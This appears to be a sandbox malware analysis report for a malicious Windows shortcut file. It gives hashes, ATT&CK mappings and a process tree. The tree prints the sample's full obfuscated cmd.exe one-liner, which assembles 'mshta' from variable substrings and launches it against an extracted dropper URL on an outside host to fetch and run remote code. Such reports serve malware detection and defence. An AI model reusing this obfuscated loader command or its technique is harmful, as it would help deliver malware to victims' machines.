bcdaea4a127acce1241bf18e597fba1408330c53ec3ff40a88a02aac4681ea15

Analysis

max time kernel
148s
max time network
142s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
03/08/2026, 13:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
DOC-VIXBAP.lnk
Size 2KB
Sample260803-qetsgsygrf
SHA256 bcdaea4a127acce1241bf18e597fba1408330c53ec3ff40a88a02aac4681ea15
MD5 118817d5762b8e399ba52c2c3a61b4fc
SHA1 1cd47d1e1af2f1bd031ab7dee698814d7a6514e7
SHA512 0878a485b83a6b9d1ee4de4db672cf344fbe9ae36a5e90768ccfd9ad95a0fab2995fa2d411e06fd141523a5f62594d3aa7b6571b36d14cad99f15b77c1b3fa85
TLSH
T1295143806AEA41E8F3FB8F7299FA3785487BBD122D34D1CD4800824C0422B05E9B3B22
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
3912	cmd.exe
4712	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 3912 wrote to memory of 4712	3912	cmd.exe	89
PID 4712 wrote to memory of 2332	4712	cmd.exe	90

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-VIXBAP.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3912
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /D /V:on /C "set DudFd=cachexrmkazgfzjrfbbigcache&set vsvqJ=logtdyswyrinxlog&set ZsFS=cachezyhjuqnnqzygrdrtmshcache&set qlB=4neswg&&set qte=ietw0b&&set nQXE=s23artlwj&set MFT=cfgruegpbdmwptcfg&set xn=infczsqrmyvwiuwwsmixinf&set Fitg=1gmw8&&set ofdV=1sd6&&set kYG=8bhtat&set hmN=dbgnokpcwierkegfadbremtdbg&set IWKB=bakfbxjaifutnxoskatmebak&set dY=bakiilznqzfcxbvpnuitesabak&set QwfA=winjwvcjcwqywmewin&set apQn=tmpvwuvenxoxtstmp&set oh=inflotieuquewfzwpsknyinf&&set GuOv=https:@/@/@bo-pdff@il@[email protected]@at/h@/@estagi@o@1@.@php@?r=36@0761F@1@5@794&&start /b !Fitg:~2,1!!ofdV:~1,1!!kYG:~2,3! !GuOv:@=!"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4712
- - C:\Windows\System32\mshta.exe
    mshta https://bo-pdffiller.lat/h/estagio1.php?r=360761F15794
    3⤵
    PID:2332

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads